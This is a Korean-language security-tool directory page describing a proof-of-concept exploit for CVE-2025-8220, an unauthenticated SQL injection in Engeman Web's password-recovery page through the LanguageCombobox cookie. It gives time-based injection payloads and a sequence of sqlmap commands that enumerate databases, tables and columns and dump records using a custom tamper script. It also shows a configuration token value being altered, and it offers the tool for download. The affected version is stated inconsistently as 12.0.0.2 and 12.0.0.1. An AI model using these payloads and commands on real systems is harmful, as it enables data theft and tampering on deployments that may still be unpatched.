Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
engeman-web-language-combobox-sqli — Engeman Web 소프트웨어의 비밀번호 복구 페이지 로드 중 발생할 수 있는 SQL Injection 취약점인 CVE-2025-8220의 악용 개념 증명(PoC)입니다. | Kitploit
도구/GitHubGitHub/m3m0o/engeman-web-language-combobox-sqli
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubm3m0o/engeman-web-language-combobox-sqli

engeman-web-language-combobox-sqli

Engeman Web 소프트웨어의 비밀번호 복구 페이지 로드 중 발생할 수 있는 SQL Injection 취약점인 CVE-2025-8220의 악용 개념 증명(PoC)입니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
310개월 전아직 검토되지 않음

Engeman Web <= 12.0.0.2 비밀번호 복구 페이지 로드 시 인증되지 않은 SQL 인젝션

Engeman Web 소프트웨어의 비밀번호 복구 페이지 로드 중 SQL 인젝션 가능성과 관련된 CVE-2025-8220에 설명된 취약점 악용에 대한 개념 증명입니다.

설명

Engeman Web 소프트웨어에서 비밀번호 복구 페이지를 로드하는 동안 수행되는 SQL 쿼리를 조작할 수 있는 취약점이 발견되었습니다. 이 취약점은 유효한 자격 증명에 접근할 수 없는 방문자, 즉 인증되지 않은 방식으로 악용되어 애플리케이션 데이터베이스에 저장된 데이터의 기밀성과 무결성을 손상시킬 수 있으며, 중요한 테이블의 값을 변경하여 구성 요소 수준에서 서비스 거부를 유발할 수도 있습니다.

공급업체 웹사이트

https://engeman.com/en/

악용

애플리케이션에 접속하여 로그인 페이지로 리디렉션된 후, 비밀번호 복구 페이지로 이동하기 위한 버튼을 클릭합니다.

Engeman Web 초기 페이지

Engeman Web 비밀번호 복구 페이지

비밀번호 복구 페이지를 로드하기 위해 브라우저가 보낸 요청을 확인합니다. 초기 접속 중 저장되는 LanguageCombobox 쿠키를 포함한 일부 쿠키가 존재함을 알 수 있습니다. 이 데모에서는 브라우저 요청을 더 효율적으로 확인하고 재전송하기 위해 Burp Suite 소프트웨어를 사용했습니다.

비밀번호 복구 페이지의 콘텐츠를 가져오기 위해 보낸 요청

취약점을 확인하려면 언급된 쿠키의 값으로 작은따옴표를 삽입하고 요청을 재전송합니다. 애플리케이션의 응답에 닫히지 않은 따옴표를 나타내는 오류가 표시되어야 합니다.

LanguageCombobox 쿠키 값에 작은따옴표를 넣어 애플리케이션에서 오류를 유발하는 모습

쿼리 결과가 반환된 페이지에 직접 표시되지 않으므로 블라인드 악용에 해당합니다. ' AND SLEEP(30)-- - 또는 '; WAITFOR DELAY '0:0:30'-- 같은 페이로드를 삽입하여 기본 데이터베이스를 유추할 수 있습니다.

시간 기반 페이로드를 통해 기본 데이터베이스 유형을 유추하는 모습

인젝션이 확인되면 sqlmap과 같은 자동화 도구를 사용하여 데이터베이스를 덤프할 수 있습니다.

--technique 인자에 SEB 값이 포함되어야 스택 쿼리, 오류, 및 부울 비교에 기반한 기법이 사용된다는 점에 유의해야 합니다. 첫째, 블라인드 악용이 필요하기 때문이고, 둘째, 인자 값에서 S 옵션을 생략하면 sqlmap이 SQL Server 데이터베이스에서 인젝션 지점을 찾지 못했기 때문입니다.

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch

sqlmap을 사용하여 인젝션 지점을 테스트하는 모습

인젝션 지점을 통해 다양한 가능한 악용 기법이 식별됩니다. 그 후 데이터베이스 정보를 검색할 수 있습니다.

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch --dbs

sqlmap을 통해 사용 가능한 데이터베이스 가져오기

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman --tables

sqlmap을 통해 사용 가능한 테이블 가져오기

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --columns

sqlmap을 통해 사용 가능한 컬럼 가져오기

sqlmap을 사용하여 테이블 레코드를 덤프하려면 이 저장소에 있는 replace-dbo.py라는 사용자 지정 템퍼 스크립트를 사용해야 합니다(최소한 SQL Server 데이터베이스의 경우). 그 이유는 테이블 개체를 참조하기 위해 <database>.dbo.<table> 형식을 사용하는 sqlmap 페이로드가 애플리케이션의 처리 방식과 충돌하기 때문입니다. 언급된 템퍼는 이를 <database>.<table> 형식으로만 변환합니다. Engeman Web 인스턴스가 MySQL 또는 다른 데이터베이스를 사용하는 경우 이 템퍼는 필요하지 않거나 다른 템퍼를 만들어야 합니다.

테이블 개체를 참조하기 위해 <database>.dbo.<table> 형식의 페이로드를 시도하는 모습

동일한 페이로드를 이번에는 <database>.<table> 형식으로 테이블 개체를 참조하여 시도하는 모습

템퍼 스크립트를 설치의 기본 템퍼 디렉터리에 배치하지 않은 경우, sqlmap 도구가 해당 스크립트를 사용하려면 스크립트가 있는 디렉터리에 init.py라는 빈 파일이 존재해야 한다는 점을 기억하세요.

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --dump --tamper <tamper-file>.py

애플리케이션의 일반 구성 검색

이 템퍼는 특정 테이블 덤프 중이 아닌 다른 프로세스 단계에서 사용하면 충돌을 일으킵니다. 따라서 데이터베이스 (--dbs), 테이블 (--tables), 컬럼 (--columns), 또는 데이터베이스 사용자 (--current-user) 같은 추가 정보를 얻는 데에는 사용하지 마십시오.

애플리케이션이 데이터베이스와 상호 작용하는 데 사용하는 사용자가 시스템 레코드 맥락에서 높은 권한을 가지고 있기 때문에 기본 쿼리를 조작하여 테이블 레코드의 값을 변경하는 것도 가능합니다(인스턴스가 기본 데이터베이스로 SQL Server를 사용하는 경우 훨씬 더 쉽습니다).

CFGGERAL 테이블 고유 항목의 JWTVALIDOTOKEN 컬럼 초기 값

JWTVALIDOTOKEN 항목 컬럼 값 수정

CFGGERAL 테이블 고유 항목의 JWTVALIDOTOKEN 컬럼 수정된 값

영향

이 취약점을 통해 시스템의 모든 인스턴스는 사용 중인 데이터베이스에 존재하는 데이터의 무단 검색 및 잠재적 수정에 노출될 수 있습니다.

이 취약점은 12.0.0.1까지의 버전에서 확인되었지만, 더 최신 버전도 취약할 가능성이 높습니다.

도구 다운로드